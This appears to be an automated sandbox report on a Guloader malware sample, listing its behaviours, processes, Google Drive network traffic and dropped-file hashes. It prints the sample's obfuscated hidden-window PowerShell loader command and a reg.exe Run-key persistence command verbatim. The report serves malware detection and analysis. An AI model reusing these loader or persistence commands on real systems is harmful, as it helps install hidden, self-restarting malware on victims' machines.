Analysis Overview
SHA256
f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd
Threat Level: Known bad
The file f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Command and Scripting Interpreter: PowerShell
Adds Run key to start application
Legitimate hosting services abused for malware hosting/C2
Suspicious use of SetThreadContext
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of NtSetInformationThreadHideFromDebugger
Program crash
Enumerates physical storage devices
NSIS installer
Suspicious behavior: MapViewOfSection
Modifies registry key
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-10 02:35
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-10 02:35
Reported
2024-07-10 02:37
Platform
win7-20240704-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Guloader,Cloudeye
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows\CurrentVersion\Run\Offervilliges = "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\\Tilstransportlvr\\').Directoryet;%Quaternary% ($Funktionslederes)" | C:\Windows\SysWOW64\reg.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3052 set thread context of 2572 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Enumerates physical storage devices
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe
"C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Chemosensitivity=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl';$saalbnkes=$Chemosensitivity.SubString(72809,3);.$saalbnkes($Chemosensitivity)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"
C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 172.217.16.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 216.58.201.99:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 216.58.201.99:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 216.58.201.97:443 | drive.usercontent.google.com | tcp |
Files
memory/3052-11-0x0000000073B71000-0x0000000073B72000-memory.dmp
memory/3052-12-0x0000000073B70000-0x000000007411B000-memory.dmp
memory/3052-13-0x0000000073B70000-0x000000007411B000-memory.dmp
memory/3052-15-0x0000000073B70000-0x000000007411B000-memory.dmp
memory/3052-14-0x0000000073B70000-0x000000007411B000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl
| MD5 | fc2223e92e3b7eb6b306e7489bc9ea76 |
| SHA1 | a886646121c2d0882b0f69cff28277fea465a431 |
| SHA256 | 86fab35b54a947d4aba1fe2915a69748b51a8ee9cf9791678dcecda609d427af |
| SHA512 | 98ca788deef3630dbae7146d5377c44cd57a1bda8277a25170a033017f4a8b414e272d6d97e94139e306fed1e28e294a1e08d09d90fa49dc675ba5c9dda7e55e |
memory/3052-18-0x0000000073B70000-0x000000007411B000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Terzio.Pre27
| MD5 | bd2cb39300237694661fcb0686d7aeec |
| SHA1 | c912db66db40e04a9436c248d8ee19eaa4e2c5c7 |
| SHA256 | 33deda6aca491470e132ec1feead0d380bd35b792f886a1cd1f1ce29e9b5b21e |
| SHA512 | 49ecdaa68f3d1502d947faae83da3e24cf2459c6a2576a07dcb14ab0ddc14c76b9d4874d823463e1c4ee4453764cf9c2f2930c3b4ca1513294c003bb8cf21d89 |
memory/3052-20-0x0000000073B70000-0x000000007411B000-memory.dmp
memory/3052-21-0x0000000006520000-0x000000000A5E2000-memory.dmp
memory/3052-22-0x0000000073B70000-0x000000007411B000-memory.dmp
memory/2572-26-0x00000000006E0000-0x0000000001742000-memory.dmp
memory/2572-44-0x0000000001750000-0x0000000005812000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-10 02:35
Reported
2024-07-10 02:37
Platform
win10v2004-20240709-en
Max time kernel
93s
Max time network
125s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2612 wrote to memory of 3460 | N/A | C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2612 wrote to memory of 3460 | N/A | C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2612 wrote to memory of 3460 | N/A | C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe
"C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Chemosensitivity=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl';$saalbnkes=$Chemosensitivity.SubString(72809,3);.$saalbnkes($Chemosensitivity)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3460 -ip 3460
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3460 -s 2700
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
Files
memory/3460-9-0x000000007356E000-0x000000007356F000-memory.dmp
memory/3460-10-0x0000000003410000-0x0000000003446000-memory.dmp
memory/3460-11-0x0000000073560000-0x0000000073D10000-memory.dmp
memory/3460-12-0x0000000005B10000-0x0000000006138000-memory.dmp
memory/3460-13-0x0000000073560000-0x0000000073D10000-memory.dmp
memory/3460-14-0x0000000006140000-0x0000000006162000-memory.dmp
memory/3460-15-0x00000000062E0000-0x0000000006346000-memory.dmp
memory/3460-16-0x0000000006350000-0x00000000063B6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbqnsgcl.4bq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3460-26-0x00000000063C0000-0x0000000006714000-memory.dmp
memory/3460-27-0x00000000069E0000-0x00000000069FE000-memory.dmp
memory/3460-28-0x0000000006A10000-0x0000000006A5C000-memory.dmp
memory/3460-29-0x0000000006F40000-0x0000000006FD6000-memory.dmp
memory/3460-30-0x0000000006EF0000-0x0000000006F0A000-memory.dmp
memory/3460-31-0x00000000079D0000-0x00000000079F2000-memory.dmp
memory/3460-32-0x0000000007FB0000-0x0000000008554000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl
| MD5 | fc2223e92e3b7eb6b306e7489bc9ea76 |
| SHA1 | a886646121c2d0882b0f69cff28277fea465a431 |
| SHA256 | 86fab35b54a947d4aba1fe2915a69748b51a8ee9cf9791678dcecda609d427af |
| SHA512 | 98ca788deef3630dbae7146d5377c44cd57a1bda8277a25170a033017f4a8b414e272d6d97e94139e306fed1e28e294a1e08d09d90fa49dc675ba5c9dda7e55e |
memory/3460-34-0x0000000008BE0000-0x000000000925A000-memory.dmp
memory/3460-36-0x0000000073560000-0x0000000073D10000-memory.dmp